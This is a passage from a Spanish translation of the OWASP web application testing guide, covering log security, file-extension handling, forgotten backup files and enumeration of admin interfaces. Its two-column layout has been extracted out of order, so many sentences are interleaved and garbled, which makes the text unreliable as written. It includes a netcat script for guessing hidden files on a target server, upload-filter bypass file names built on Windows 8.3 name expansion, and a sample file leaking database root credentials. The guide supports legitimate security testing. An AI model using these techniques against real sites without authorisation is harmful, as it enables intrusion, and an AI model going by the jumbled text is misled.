ser probados y analizados basándose en el contenido del registro: En algunas jurisdicciones, almacenar alguna información sensible en
archivos de registro, tales como datos personales, también podría obligar
• ¿Los registros contienen información sensible? a la empresa a aplicar las leyes de protección de datos que aplicarían a
sus bases de datos de acceso restringido para archivos de registros. No
• ¿Están los registros almacenados en un servidor dedicado? hacerlo, incluso sin saberlo, puede llevar a sanciones bajo las leyes de
protección de datos vigentes.
• ¿Puede el uso de registros generar una condición de negación de servicio?
• ¿Cómo se giran? ¿Se mantienen los registros durante el tiempo suficiente?

Una lista más amplia de información sensible es:
• ¿Cómo se revisan los registros? ¿Pueden utilizar los administradores estas
revisiones para detectar ataques dirigidos? • Aplicaciones de código fuente
• ¿Cómo se conservan las copias de seguridad de registro? • Valores de identificación de sesión
• ¿Los datos están siendo validados (min/max longitud, caracteres etc.) antes de ser • Fichas de acceso
registrados?
• Datos personales sensibles y algunas formas de información personal identificable
(PII)

75
• Contraseñas de autenticación en la misma partición de disco como el que se usa para el software de
sistema operativo o la aplicación en sí. Esto significa que si el disco fuera
• Líneas de conexión de bases de datos llenado, el sistema operativo o la aplicación pueden fallar porque serían
incapaces de escribir en el disco.
• Claves de encriptación
• Cuenta bancaria o datos del titular de tarjeta de pago

Normalmente, en sistemas UNIX, los registros se ubicarán en /var
• Datos de una clasificación de seguridad más alta que lo que el sistema de registro (aunque algunas instalaciones de servidores pueden residir en /opt o
tiene permitido almacenar /usr/local) y es importante asegurarse de que los directorios en los que
los registros se almacenan estén en una partición separada. En algunos
• Información comercialmente sensible
casos, y para evitar que los registros del sistema se vean afectados, el
directorio de registro del software de servidor (como /var/log/apache en
• Información que es ilegal recolectar en la jurisdicción correspondiente.
el servidor web Apache) debe almacenarse en una partición dedicada.
• Información que un usuario ha optado por no permitir su recolección, o no ha
aceptado, por ejemplo, que hagan seguimiento o uso, o cuando el consentimiento
para recolectar ha caducado.
Esto no quiere decir que se deba permitir que los registros crezcan hasta
llenar el sistema de archivos donde residen. El crecimiento de registros
del servidor debe ser vigilado para detectar esta condición puesto que
puede ser indicativo de un ataque.
Ubicación de registros
Generalmente, los servidores generan registros locales de sus acciones y

errores, consumiendo el disco del sistema del servidor donde se ejecutan.
Probar esta condición es tan fácil y tan peligroso en entornos de
Sin embargo, si el servidor ha comprometido sus registros, estos pueden
producción, como disparar un número suficiente y sostenido de
ser eliminados por el intruso para limpiar todos los rastros de su ataque y
solicitudes para ver si estas solicitudes se registran y si existe la
sus métodos. Si esto llegara a suceder, el administrador del sistema no
posibilidad de llenar la partición de registro a través de estas solicitudes.
tiene conocimiento de cómo ocurrió el ataque o dónde se encontraba la
En algunos ambientes donde los parámetros QUERY_STRING también se
fuente del ataque. En realidad, la mayoría de kits de herramientas de
registran independientemente de si se producen a través de solicitudes
ataque incluyen un eliminador de registros que es capaz de limpiar
GET o POST, las consultas grandes pueden simular que llenarán los
cualquier registro que contenga información (como la dirección IP del
registros más rápido puesto que, normalmente, una sola solicitud hará
atacante) y se utilizan habitualmente en equipos de ataque a nivel de
que sólo una pequeña cantidad de datos sean registrados, como fecha y
sistema principal.
hora, dirección IP de origen, petición URL y resultado del servidor.
Por lo tanto, es inteligente mantener los registros en un lugar diferente y

Rotación de registros
no en el propio servidor web. Esto también facilita agregar registros
desde diferentes fuentes que se refieren a la misma aplicación (como los
La mayoría de los servidores (pero pocas aplicaciones personalizadas)
de una granja de servidores web) y también es más fácil hacer análisis de
rotarán los registros con el fin de evitar que se llene el sistema de
registros (que puede ser intensivo para el CPU) sin afectar al servidor
archivos donde residen. Al girar los registros se asume que la información
mismo.
en ellos sólo es necesaria durante un tiempo limitado.
Almacenamiento de registros
Esta característica debe ser probada para asegurarse de que:
Los registros pueden presentar una condición de negación de servicio si

no se almacenan correctamente. Cualquier atacante con suficientes
recursos podría ser capaz de producir un número suficiente de • Los registros se mantienen durante el tiempo definido en la política de seguridad,
solicitudes que ni más ni menos.
• Los registros se comprimen una vez rotados (esto es una comodidad, ya que
significará que más registros se almacenarán en el mismo espacio de disco
lenaría el espacio asignado para los archivos de registro si no están disponible).
prevenidos específicamente de hacerlo. Sin embargo, si el servidor no
está configurado correctamente, los archivos de registro se almacenarán
76
• El permiso del sistema de archivos de registros rotados es el mismo (o más Las estadísticas del registro o análisis no deben ser generadas ni
estricto) que los permisos del registro de archivos en sí. Por ejemplo, los servidores almacenadas en el mismo servidor que produce los registros. De lo
web deberán escribir en los registros usados, pero no necesitan realmente escribir contrario, un atacante podría, a través de una vulnerabilidad del servidor
en registros rotados, lo que significa que los permisos de los archivos pueden web o configuración inadecuada, tener acceso a ellos y recuperar la
modificarse según la rotación para evitar que el proceso del servidor web los información similar a la que sería revelada por los archivos de registro.
modifique.
Referencias
Algunos servidores podrían rotar registros cuando alcanzan un tamaño
determinado. Si esto sucede, se debe garantizar que un atacante no puede [1] Apache
obligar a rotar registros para ocultar sus huellas.
• Apache Security, by Ivan Ristic, O’reilly, March 2005.
• Apache Security Secrets: Revealed (Again), Mark Cox, November 2003 -

Control del registro de acceso awe.com
La información del registro de eventos nunca debe ser visible para los • Apache Security Secrets: Revealed, ApacheCon 2002, Las Vegas, Mark J Cox,
usuarios finales. Incluso los administradores web no deberían ver estos October 2002 - awe.com
registros ya que se rompe la separación del servicio de las labores de
control. Asegúrese de que cualquier esquema de control de acceso que se • Performance Tuning - apache.org
utiliza para proteger el acceso a los registros brutos y a cualquier
aplicación que proporciona funcionalidades para ver o buscar los [2] Lotus Domino
registros no estén
• Lotus Security Handbook, William Tworek et al., April 2004, available in
the IBM Redbooks collection - redbooks.ibm.com
conectadas a los esquemas de control de acceso para otros roles de • Lotus Domino Security, an X-force white-paper, Internet Security Systems,
usuario de la aplicación. Asimismo, los datos de registro no deben ser December 2002 - iss.net
visibles por los usuarios no autenticados.
• Hackproofing Lotus Domino Web Server, David Litchfield, October 2001 -
davidlitchfield.com
• NGSSoftware Insight Security Research - nccgroup.com

Revisión de registros
[3] Microsoft IIS

La revisión de registros puede utilizarse no solo para la extracción de
estadísticas de uso de archivos en los servidores web (que suele ser en lo
• IIS 6.0 Security, by Rohyt Belani, Michael Muckin, -
que la mayoría de aplicaciones basadas en registros se centran), sino
también para determinar si los ataques tienen lugar en el servidor web.
symantec.com
• IIS 7.0 Securing Configuration - technet.microsoft.com
Para analizar los ataques desde el servidor web, los archivos de registro
• Securing Your Web Server (Patterns and Practices), Microsoft Corporation,
de error deben ser analizados. La revisión debería centrarse en: January 2004
• IIS Security and Programming Countermeasures, by Jason Coombs
• 40x mensajes de error (not found). Una gran cantidad de ellos de la misma fuente • From Blueprint to Fortress: A Guide to Securing IIS 5.0, by John Davis,
podría ser un indicativo de una herramienta de scanner CGI utilizada contra el Microsoft Corporation, June 2001 -
servidor web
uat.technet.microsoft.com
• 50 x mensajes (server error). Estos pueden ser una indicación de que un atacante
abusa de partes de la aplicación que fallan inesperadamente. Por ejemplo, las • Secure Internet Information Services 5 Checklist, by Michael Howard,
primeras fases de un ataque de inyección SQL producirá estos mensaje de error Microsoft Corporation, June 2000
cuando la consulta SQL no está construida correctamente y su ejecución falla en la
base de datos de acceso restringido. • “INFO: Using URLScan on IIS” - support.microsoft.com

77
[4] Red Hat’s (formerly Netscape’s) iPlanet debido a que el contenido no es el esperado, o por manejo de nombres de
archivo inesperado del OS.
• Guide to the Secure Configuration and Administration of iPlanet Web
Server, Enterprise Edition 4.1, by James M Hayes - nsa.gov
[5] WebSphere Determinar cómo los servidores web manejan las peticiones
correspondientes a archivos con diferentes extensiones puede ayudar a
• IBM WebSphere V5.0 Security, WebSphere Handbook Series, by Peter comprender el comportamiento del servidor web según el tipo de
Kovari et al., IBM, December 2002 - redbooks.ibm.com archivos a los que se accede. Por ejemplo, puede ayudar a entender cuáles
extensiones de archivo se devuelven como texto simple frente a aquellos
• IBM WebSphere V4.0 Advanced Edition Security, by Peter Kovari et al., que causan alguna ejecución en el lado del servidor. Estos últimos son
IBM, March 2002 - redbooks.ibm.com indicativos de las tecnologías, idiomas o plugins que son utilizados por los
servidores web o servidores de aplicaciones y pueden proporcionar
[6] General
informacion adicional de cómo está diseñada la aplicación web. Por
ejemplo, una extensión de ".pl" es generalmente asociada con un soporte
• Logging Cheat Sheet, OWASP
Perl del lado del servidor. Sin embargo, la extensión de archivo sola
puede ser engañosa y no completamente concluyente. Por ejemplo, Los
• SP 800-92 Guide to Computer Security Log Management, NIST
recursos de servidor Perl pueden cambiarse de nombre para ocultar el
csrc.nist.gov
hecho de que están relacionados con Perl. Vea la siguiente sección sobre
• PCI DSS v2.0 Requirement 10 and PA-DSS v2.0 Requirement 4, PCI "componentes de servidor de web" para más información sobre
Security Standards Council identificación de componentes y tecnologías del lado del servidor.
[7] Generic:
• CERT Security Improvement Modules: Securing Public Web Servers Cómo probar
• Apache Security Configuration Document, InterSect Alliance Navegación forzada
• “How To: Use IISLockdown.exe” - Envíe solicitudes http[s] que incluyan diferentes extensiones y verifique
cómo se manejan. La verificación debe estar en una base de directorio
http://msdn.microsoft.com/library/en-us/secmod/html/secmod113.asp web
por búsqueda. Verificar directorios que permiten la ejecución del script.

Pruebe el manejo de archivos de extensiones en Los directorios del servidor Web pueden identificarse por escáneres de
vulnerabilidad, que buscan la presencia de directorios conocidos.
busca de información sensible (OTG-CONFIG- Además, el reflejo de la estructura del sitio web permite al evaluador
003) reconstruir el árbol de directorios de la web servidos por la aplicación.
Resumen
Los archivos de extensiones se utilizan en los servidores web para Si la arquitectura de aplicaciones web tiene balanceo de cargas, es
determinar fácilmente qué tecnologías, idiomas y accesorios (plugins) importante evaluar a todos los servidores web. Esto puede o no ser fácil,
deben utilizarse para cumplir con la solicitud web. Si bien este dependiendo de la configuración de la infraestructura de equilibrio. En
comportamiento es compatible con los RFC y estándares Web, utilizar las una infraestructura con componentes redundantes pueden existir ligeras
extensiones de archivo estándar proporciona al evaluador de penetración variaciones en la configuración de los servidores web o de aplicaciones
la información útil sobre las tecnologías subyacentes que se utilizan en individuales . Esto puede suceder si la arquitectura web emplea
una aplicación web y simplifica enormemente la tarea de determinar el tecnologías heterogéneas (piense en un conjunto de servidores web IIS y
escenario de ataque a usar para estas tecnologías en particular. Además, Apache en una configuración de balanceo de carga, que puede presentar
un error de configuración de los servidores web fácilmente podría revelar leves comportamientos asimétricos entre ellos y posiblemente diferentes
información confidencial sobre las credenciales de acceso. vulnerabilidades).
El control de extensiones a menudo se utiliza para validar los archivos Ejemplo:

que serán cargados, que pueden conducir a resultados inesperados

78
El evaluador ha identificado la existencia de un archivo llamado algunos ejemplos, ya que las extensiones de archivo son demasiadas para
connection.inc. Tratar de acceder a él directamente le devuelve su tratarlas exhaustivamente aquí. Refiérase a http://filext.com/ para ver
contenido: una base de datos más completa de las extensiones.
<?
Para identificar los archivos con una extensión en particular, puede
mysql_connect(“127.0.0.1”, “root”, “”)
emplearse una mezcla de técnicas. Estas técnicas pueden incluir
escáneres de vulnerabilidad, herramientas de robots araña (spidering) y
or die(“Could not connect”);
de reflejo,
?>
inspección manual de la aplicación (esto supera las limitaciones del uso
de robots araña automáticos), consultar motores de búsqueda (ver
El evaluador determina la existencia de un MySQL DBMS de acceso
pruebas: spidering y googling). Vea también pruebas de archivos viejos,
restringido y las credenciales (débiles) que utiliza la aplicación web para
de copia de seguridad y archivos no referenciados que abordan los
acceder a ella.
problemas de seguridad relacionados con los archivos "olvidados".
Las siguientes extensiones de archivo nunca deben ser devueltas por un

archivos que pueden
servidor web, ya que están relacionadas a
contener información sensible o archivos que no deben Carga de archivos
ser entregados.
El manejo de archivos de legado de Windows 8.3 puede, a veces, ser usado
para derrotar los filtros de carga de archivos.
• .asa
• .inc Ejemplos de uso:
file.phtml gets processed as PHP code

Las siguentes extensiones de archivos se relacionan con archivos que,
cuando se acceden, pueden ser visualizados o descargados por el
navegador. Por lo tanto, los archivos con estas extensiones deben
comprobarse para verificar que, de hecho, estas deben ser entregadas (y FILE~1.PHT is served, but not processed by the PHP ISAPI handler
no son residuos), y que no contienen información sensible.
shell.phPWND can be uploaded

• .zip, .tar, .gz, .tgz, .rar, ...: archivos de almacenaje (Comprimidos)
• .java: No hay razón para permitir el accceso a archivos de fuentes Java

SHELL~1.PHP will be expanded and returned by the OS shell, then
• .txt: archivos de texto processed by the PHP ISAPI handler
• .pdf: documentos PDF
• .doc, .rtf, .xls, .ppt, ...: documentos de Office

• .bak, .extensiones viejas u otras extensiones de iniciativa de archivos de
respaldo (por ejemplo: ~ archivos de respaldo para Emacs) Realizar pruebas de Caja Gris contra el manejo de los archivos de extensiones
para revisar las configuraciones de servidores web o servidores de
aplicaciones que participan en la arquitectura de aplicaciones web, y
comprobar cómo son instruidos para entregar diferentes extensiones de
La lista de detalles mencionados anteriormente son sólo archivo.

79
Si la aplicación web se basa en una infraestructura heterogénea con equilibrio credenciales para conectarse a la interfaz administrativa o al servidor de
de carga, la misma determina si esta puede presentar un comportamiento base de datos.
diferente.
Una fuente importante de vulnerabilidades se encuentra en los archivos

Herramientas que no tienen nada que ver con la aplicación, pero se crean como
consecuencia de la edición de archivos de la aplicación, o después de
Los escáneres de vulnerabilidad, tales como Nessus y Nikto, comprueban la crear copias de seguridad "al vuelo" o dejando en el árbol de la red viejos
existencia de directorios web conocidos. Pueden permitir que el evaluador archivos del árbol o archivos no referenciados. Realizar ediciones ¨"en el
descargue la estructura del sitio web, lo cual es útil cuando se intenta sitio" u otras acciones administrativas en servidores web en producción
determinar la configuración de los directorios web y cómo son atendidas las sin darse cuenta puede dejar copias de seguridad, ya sean generadas
extensiones de archivo individuales. Otras herramientas que pueden utilizarse automáticamente por el editor mientras se editan archivos, o por el
para este propósito incluyen: administrador quien está comprimiendo un conjunto de archivos para
crear una copia de seguridad.
• wget - gnu.org
Es fácil olvidar este tipo de archivos y esto puede plantear una amenaza
• curl - curl.haxx.se
seria a la aplicación. Eso sucede porque se pueden generar copias de
seguridad con extensiones de archivo diferentes a las de los archivos
• google for “web mirroring tools”.
originales. Un archivo .tar, .zip o .gz que generamos (y olvidamos...)
obviamente tiene una extensión diferente, y lo mismo ocurre con las
copias automáticas creadas por muchos editores (por ejemplo, emacs
genera una copia de seguridad denominada archivo~ al editar el archivo).
Revise archivos viejos, copias de seguridad y Hacer una copia a mano puede producir el mismo efecto (piensa en
copiar file a file.old). El sistema de archivo subyacente, en el cual se
archivos no referenciados en busca de encuentra la aplicación, podría estar tomando "instantáneas" de su
información sensible (OTG-CONFIG-004) aplicación en diferentes puntos en el tiempo sin su conocimiento, y
también pueden ser accesibles a través de la web. Estas representan una
Resumen amenaza de estilo similar, pero diferentes al tipo "archivo de respaldo" de
su aplicación.
Mientras que la mayoría de los archivos en un servidor web son
manejados directamente por el servidor, no es raro encontrar archivos no
referenciados u olvidados que pueden utilizarse para obtener
información importante acerca de la infraestructura o las credenciales. Como resultado, estas actividades generan archivos que no son
necesarios para la aplicación y pueden ser tratados de manera distinta al
archivo original por el servidor web. Por ejemplo, si hacemos una copia
de login.asp llamada login.asp.old, estamos permitiendo a los usuarios
Los escenarios más comunes incluyen la presencia de viejas versiones descargar el código de login.asp. Esto es porque login.asp.old será
renombradas de archivos modificados, archivos de inclusión que se atendido normalmente como texto simple, en lugar de ser ejecutado
cargan debido a su extensión. En otras palabras, acceder a login.asp causa la
ejecución del código de login.asp, mientras que acceder a login.asp.old
causa que el contenido de login.asp.old (que es, otra vez, el código del
lado del servidor) se entregue simplemente al usuario y se muestre en el
en el idioma de su preferencia y pueden ser descargados como fuente, o evaluador. Esto puede plantear riesgos de seguridad, dado que
incluso copias de seguridad manuales o automáticas o en forma de información confidencial puede ser revelada.
archivos comprimidos. Los archivos de copias de seguridad también
pueden ser generados automáticamente por el sistema de archivos
subyacente donde se aloja la aplicación, una característica que se conoce
generalmente como "instantáneas". En general, exponer el código del lado del servidor es una mala idea. No
sólo está usted innecesariamente exponiendo la lógica del negocio, sino
que, sin saberlo, usted puede estar develando información relacionada
con la aplicación, lo que puede ayudar a un atacante (nombres de ruta de
Todos estos archivos podrán conceder acceso al evaluador a trabajos acceso, estructuras de datos, etc.). Por no mencionar el hecho de que hay
internos, puertas traseras, interfaces administrativas o incluso muchos scripts que tienen incrustado el usuario y contraseña en texto
claro (que es una práctica imprudente y muy peligrosa).

80
• En algunos casos, copiar o editar un archivo no modifica la extensión del archivo,

pero modifica el nombre del archivo. Esto sucede, por ejemplo, en ambientes
Otras causas de archivos no referenciados se deben al diseño o Windows, donde las operaciones de copia de archivos generan nombres de archivo
configuración de opciones cuando permiten que diversos tipos de con el prefijo "Copia de" o versiones localizadas de esta secuencia. Puesto que la
archivos relacionados con la aplicación como archivos de datos, archivos extensión de archivo se queda sin cambios, este no es un caso en que un archivo
de configuración, archivos de registro se almacenen en directorios del ejecutable es devuelto como texto plano por el servidor web y, por lo tanto, no es
sistema de archivo a los que se puede acceder por el servidor web. Estos un caso de revelación de código fuente. Sin embargo, estos archivos también son
archivos normalmente no tienen ninguna razón para estar en un espacio peligrosos porque existe la posibilidad de que incluyan lógica obsoleta e incorrecta
del sistema de archivo que se podría acceder vía web, ya que deben que, si es invocada, podría provocar errores de aplicación que podrían dar
accederse información valiosa a un atacante si está habilitada la pantalla de mensaje de
diagnóstico.
• Los archivos de registro pueden contener información sensible acerca de las

solamente desde el nivel de la aplicación, por la propia aplicación (y no actividades de los usuarios de la aplicación, por ejemplo, datos de parámetros URL,
por el usuario casual que está navegando). Identificador de Sesión, URL visitadas (que pueden revelar contenido sin referencia
adicional), etc.. Otros archivos de registro (por ejemplo registros ftp) pueden
contener información confidencial sobre el mantenimiento de la aplicación por los
administradores del sistema.
Amenazas
• Las instantáneas de archivos del sistema pueden contener copias del código que
Archivos viejos, copias de seguridad y los archivos no referenciados contienen vulnerabilidades que han sido corregidas en las versiones más recientes.
presentan varias amenazas a la seguridad de una aplicación web: Por ejemplo /.snapshot/monthly.1/view.php puede contener una vulnerabilidad de
salto de directorio que se ha fijado en /view.php, pero todavía puede ser explotada
por cualquier persona que encuentre la versión antigua.
• Los archivos no referenciados pueden revelar información sensible que puede

facilitar un ataque focalizado contra la aplicación; por ejemplo, incluir los archivos
que contienen las credenciales de la base de datos, archivos de configuración que
contienen referencias a otros contenidos ocultos, rutas de archivo absolutas, etc.
Cómo probar
• Las páginas no referenciadas pueden contener funcionalidad poderosa que puede
utilizarse para atacar la aplicación; por ejemplo, una página de administración que Prueba de Caja Negra
no está ligada desde el contenido publicado, pero a la que puede acceder cualquier
usuario que sepa dónde se encuentra. Probar en busca de archivos no referenciados utiliza tanto técnicas
automáticas como manuales y normalmente consiste en una combinación
• Los archivos viejos y copias de seguridad pueden contener vulnerabilidades que de los siguientes:
han sido corregidas en las versiones más recientes; por ejemplo, viewdoc.old.jsp
puede contener una vulnerabilidad de salto de directorio que se ha arreglado en
viewdoc.jsp pero todavía puede ser explotada por cualquier persona que encuentre
la versión antigua. Inferencia desde el esquema de nombres, utilizado para el contenido
publicado
Enumere todas las páginas y funcionalidades de la aplicación. Esto puede

• Los archivos de copias de seguridad pueden revelar el código fuente de páginas hacerse manualmente, usando un navegador o utilizando una
diseñadas para ejecutarse en el servidor; por ejemplo, viewdoc.bak que puede herramienta de spidering. La mayoría de las aplicaciones utiliza un
entregar el código fuente de viewdoc.jsp. Estos archivos pueden ser revisados en esquema de nombres reconocibles y organiza recursos en páginas y
busca de vulnerabilidades que pueden ser dificiles de encontrar haciendo peticiones directorios usando palabras que describen su función. Desde el esquema
ciegas a la página ejecutable. Aunque esta amenaza obviamente aplica a lenguajes de nombres utilizado para el contenido publicado, a menudo es posible
de scripts, como Perl, PHP, ASP, shell scripts, JSP, etc., no se limita a estos, como inferir el nombre y la ubicación de los páginas no referenciadas. Por
se muestra en el ejemplo proporcionado en la siguiente viñeta. ejemplo, si encuentra una página viewuser.asp, entonces busque también
edituser.asp, adduser.asp y deleteuser.asp. Si encuentra un directorio
• Los archivos de copias de seguridad pueden contener copias de todos los archivos /app/user, entonces busque también /app/admin y /app/manager.
dentro (o incluso fuera) de la raiz (webroot). Esto permite a un atacante enumerar
rápidamente toda la aplicación, incluyendo las páginas no referenciadas, códigos
fuente, archivos incluidos, etc.. Por ejemplo, si se olvida un archivo llamado
myservlets.jar.old que contiene (una copia de seguridad) las clases de su Otras pistas en los contenidos publicados
implementación servlet, usted está exponiendo un gran cantidad de información
sensible que es susceptible a la descompilación e ingeniería inversa.
81
Muchas aplicaciones web dejan pistas en los contenidos publicados, que

User-agent: *
pueden conducir al descubrimiento de páginas ocultas y su funcionalidad.
Estas pistas aparecen a menudo en el código fuente de archivos HTML y
Disallow: /Admin
JavaScript. El código fuente de todo el contenido publicado debe revisarse
manualmente para identificar pistas sobre otras páginas y su
Disallow: /uploads
funcionalidad. Por ejemplo:
Disallow: /backup
Disallow: /~jbloggs
Las secciones de comentarios y comentarios de eliminación de los
programadores del código fuente pueden referirse al contenido oculto: Disallow: /include

En su forma más simple, esto incluye correr una lista de nombres de
archivo comunes a través de un motor de solicitudes en un intento de
adivinar los archivos y directorios que existen en el servidor. El siguiente
script de envoltura de netcat leerá una lista de palabras desde stdin y
realizará un ataque de conjetura básico:
JavaScript puede contener enlaces a páginas que sólo se procesan dentro

del GUI de usuario bajo ciertas circunstancias:
#!/bin/bash
var adminUser=false;
:
server=www.targetapp.com
if (adminUser) menu.add (new menuItem (“Maintain users”,
“/admin/useradmin.jsp”)); port=80
while read url

Las páginas HTML pueden contener FORMs que han sido ocultadas por
deshabilitar el elemento SUBMIT: do
echo -ne “$url\t”
echo -e “GET /$url HTTP/1.0\nHost: $server\n” | netcat $server $port |

head -1
done | tee outputfile
Dependiendo del servidor, GET puede ser reemplazado con HEAD para
tener resultados más rápidos. El archivo de salida especificado puede
usar la aplicación grep para obtener los códigos de respuesta
"interesantes". El código de respuesta 200 (OK) normalmente indica que
se ha encontrado un recurso válido (siempre y cuando el servidor no
Otra fuente de pistas sobre los directorios no referenciados es el archivo de
entregue una página personalizada de "no encontrada"(not found) con el
/robots.txt utilizado para dar instrucciones a los robots de la web:
código 200). Pero también 302 (Found), 401 (Unauthorized), 403
(Forbidden) y 500 (Internal error), que también pueden indicar recursos
o directorios que son dignos de una investigación posterior.

82
Las páginas y la funcionalidad en aplicaciones web de cara al internet, que

no son referenciadas desde dentro de la propia aplicación, pueden ser
El ataque de conjetura básico se debe ejecutar contra la raíz web referenciadas desde otras fuentes de dominio público. Hay varias fuentes
(webroot) y también contra todos los directorios que se han identificado de estas referencias:
a través de otras técnicas de enumeración. Ataques de conjeturas más
avanzados/eficaces pueden realizarse como se ve a continuación:
• Páginas que solían estar referenciadas todavía pueden aparecer en los

archivos de los buscadores de Internet. Por ejemplo, 1998results.asp puede ya
• Identifique las extensiones de archivo en uso dentro de las zonas conocidas no estar vinculada desde el sitio web de la empresa, pero puede permanecer en
de la aplicación (por ejemplo, jsp, aspx, html) y use una lista básica de el servidor y en las bases de datos de motores de búsqueda. Este viejo script
palabras con cada una de estas extensiones (o use una lista más larga de puede contener vulnerabilidades que podrían ser utilizadas para poner en
extensiones comunes si los recursos lo permiten). peligro todo el sitio. El sitio: Google search operator puede utilizarse para
ejecutar una consulta contra el dominio elegido, como en este caso: sitio:
• Para cada archivo identificado a través de otras técnicas de enumeración, www.example.com. Utilizar motores de búsqueda en esta forma ha dado lugar
cree una lista personalizada de palabras, derivada de ese nombre. Obtenga una a una amplia gama de técnicas que pueden resultar útiles y que se describen en
lista de extensiones de archivo comunes (como ~, bak, txt, src, dev, old, inc, la sección de esta guía de Google Hacking. Revíselo para perfeccionar sus
orig, copy, tmp, etc.) y utilice cada extensión antes, después y en vez de la habilidades de pruebas a través de Google. Los archivos de copia de seguridad
extensión del nombre del archivo actual. no suelen ser referenciados por otros archivos y, por lo tanto, pueden no haber
sido indexados por Google, pero si se encuentran en directorios navegables, el
motor de búsqueda podría saber acerca de ellos.
Nota: Las operaciones de copia de archivos de Windows generan archivos • Además, Google y Yahoo mantienen versiones en caché de páginas
con nombres con el prefijo "Copia de" (Copy of) o versiones localizadas de encontradas por sus robots. Incluso si 1998results.asp ha sido eliminado del
esta cadena, por lo tanto, no cambian las extensiones de archivo. Mientras servidor de destino, una versión de salida puede todavía estar almacenada en
que los archivos "Copia de" (Copy of) típicamente no revelan el código estos motores de búsqueda. La versión en caché puede contener referencias o
fuente cuando se acceden, podrían entregar información valiosa en caso pistas sobre contenido oculto adicional que permanece en el servidor.
de que provoquen errores cuando se les invoca.
• El contenido que no está referenciado desde una aplicación de destino puede
estar vinculado a sitios web de terceros. Por ejemplo, una aplicación que
procesa los pagos en línea a nombre de comerciantes externos puede contener
Información obtenida a través de las vulnerabilidades y mala una variedad de funcionalidades hechas a la medida que pueden
configuración (normalmente) sólo se pueden encontrar (normalmente) siguiendo los enlaces
dentro de las páginas web de sus clientes.
La manera más obvia en que un servidor mal configurado puede revelar
páginas no referenciadas es a través del listado del directorio. Solicite
todos los directorios enumerados para identificar cualquiera que
proporcione un listado de directorios. Filtro de desvío del nombre del archivo
Debido a que los filtros de listas negras se basan en expresiones

regulares, a veces uno puede tomar ventaja de las características oscuras
de expansión del nombre de archivo de OS que trabajan de maneras no
esperadas por el desarrollador. A veces, el evaluador puede explotar las
Se han encontrado numerosas vulnerabilidades en servidores web diferencias en las formas en que los nombres de archivo son analizados
individuales, que permiten a un atacante enumerar los contenidos; por por la aplicación, el servidor web y el sistema operativo subyacente y sus
ejemplo: convenciones de nombre de archivo.
• Apache ?M=D directory listing vulnerability. Ejemplo: Expansión de nombre de archivo 8.3 de Windows "c:\program
files" se convierte "C:\PROGRA~1"
• Various IIS script source disclosure vulnerabilities.
– Remove incompatible characters
• IIS WebDAV directory listing vulnerabilities.
– Convert spaces to underscores
- Take the first six characters of the basename

Uso de información disponible para el púbico

83
– Add “~<digit>” which is used to distinguish files with names using the same six Para garantizar una estrategia de protección efectiva, la prueba debe
initial characters estar compuesta por una política de seguridad que específicamente
prohíbe las prácticas peligrosas tales como:
- This convention changes after the first 3 cname ollisions
– Truncate file extension to three characters

• Editar los archivos en el lugar del servidor web o sistemas de archivos
- Make all the characters uppercase del servidor de aplicaciones. Este es un mal hábito particular, ya que es
probable que, sin querer, los editores generen archivos de respaldo. Es
sorprendente ver que esto se hace frecuentemente, incluso en grandes
organizaciones. Si definitivamente necesita editar archivos en un sistema
Pruebas de Caja Gris en producción, asegúrese de no dejar atrás cualquier cosa que no esté
explícitamente planificada y recuerde que lo está haciendo bajo su propio
Realizar pruebas de caja gris contra archivos viejos y copias de seguridad
riesgo.
requiere examinar los archivos contenidos en los directorios
pertenecientes • Revise cuidadosamente cualquier otra actividad realizada en los
sistemas de archivos expuestos por el servidor web, como las actividades
al conjunto de directorios web, servidos por los servidores web de la
de la administración en el punto. Por ejemplo, si usted necesita de vez en
cuando tomar una instantánea de un par de directorios (que no se debe
infraestructura de aplicaciones web. Teóricamente, el examen se debe
hacer en un sistema en producción), puede sentirse tentado a
realizar a mano para ser cuidadoso. Sin embargo, ya que en la mayoría de
comprimirlos primero. Tenga cuidado de no dejar atrás esos archivos.
los casos las copias de archivos o archivos de copias de seguridad tienden
a crearse usando la misma terminología; la búsqueda puede ser
• Las políticas de gestión de configuración apropiada deberían ayudar a
fácilmente secuenciada. Por ejemplo, los editores dejan copias de
no dejar por ahí archivos obsoletos y sin referencia.
seguridad nombradas con un final o una extensión reconocible y los seres
humanos tienden a dejar archivos con un ".old" o similares extensiones • Las aplicaciones deben ser diseñadas para no crear (o depender de)
predecibles. Una buena estrategia es la de programar periódicamente un archivos almacenados debajo de los árboles de directorios web atendidos
trabajo de fondo comprobando archivos con extensiones que se por el servidor web. Los archivos de datos, archivos de registro, archivos
identifican como copia o copia de seguridad y efectuar comprobaciones de configuración, etc. deben almacenarse en directorios no accesibles por
manuales en base a un mayor tiempo. el servidor web, para contrarrestar la posibilidad de divulgación de
información (sin mencionar la modificación de los datos si los permisos
del directorio web permiten escritura).
Herramientas
• Las instantáneas de sistema de archivos no deben ser accesibles a través
de la web si la raíz del documento es un sistema de archivos que utiliza
• Las herramientas de evaluación de vulnerabilidad tienden a incluir
esta tecnología. Configure el servidor web para negar el acceso a dichos
verificaciones a directorios web que tienen nombres estándar (como “admin”,
directorios, por ejemplo, en apache una directiva de ubicación como esta
“test”, “backup”, etc.) y a reportar cualquier directorio web que permite la
debería utilizarse:
indexación. Si usted no puede conseguir un listado de directorios, debe
intentar comprobar extensiones de respaldo probables. Compruebe, por
ejemplo, Nessus (nessus.org), Nikto2(cirt.net) o su nuevo derivado Wikto <Location ~ “.snapshot”>
(sensepost.com), que también es compatible con Google hacking based
strategies. Order deny,allow
•Las herramientas robot tipo araña: wget (gnu.org, interlog.com); Sam Spade Deny from all
(samspade.org); Spike Proxy incluyen una función de rastreador del sitio web
(immunitysec.com); Xenu (home.snafu.de); Curl (curl.haxx.se). Algunos de </Location>
ellos también se incluyen en las distribuciones estándar de Linux.
• Las herramientas de desarrollo web suelen incluir instalaciones para

identificar los enlaces rotos y los archivos no referenciados.
Infraestructura de Enumeración e Interfaces de
Administración de Aplicaciones (OTG-
CONFIG-005)
Remediación
Resumen
84
Las interfases del administrador se pueden presentar en la aplicación o enviadas al cliente, enlaces a las funcionalidades de administrador, pueden
en el servidor de aplicaciones para permitir que determinados usuarios descubrirse y deben investigarse.
puedan llevar a cabo actividades privilegiadas en el sitio. Se deben
realizar pruebas para revelar sí y cómo esta funcionalidad privilegiada
puede ser accesada por un usuario no autorizado o estándar.
• Revisar el servidor y la documentación de aplicaciones. Si el servidor de
aplicaciones o la aplicación se implementa en su configuración por defecto, es
posible acceder a la interfaz de administración con la información descrita
Una aplicación puede requerir una interfaz de administrador para
habilitar un usuario con privilegios con acceso a funciones que pueden
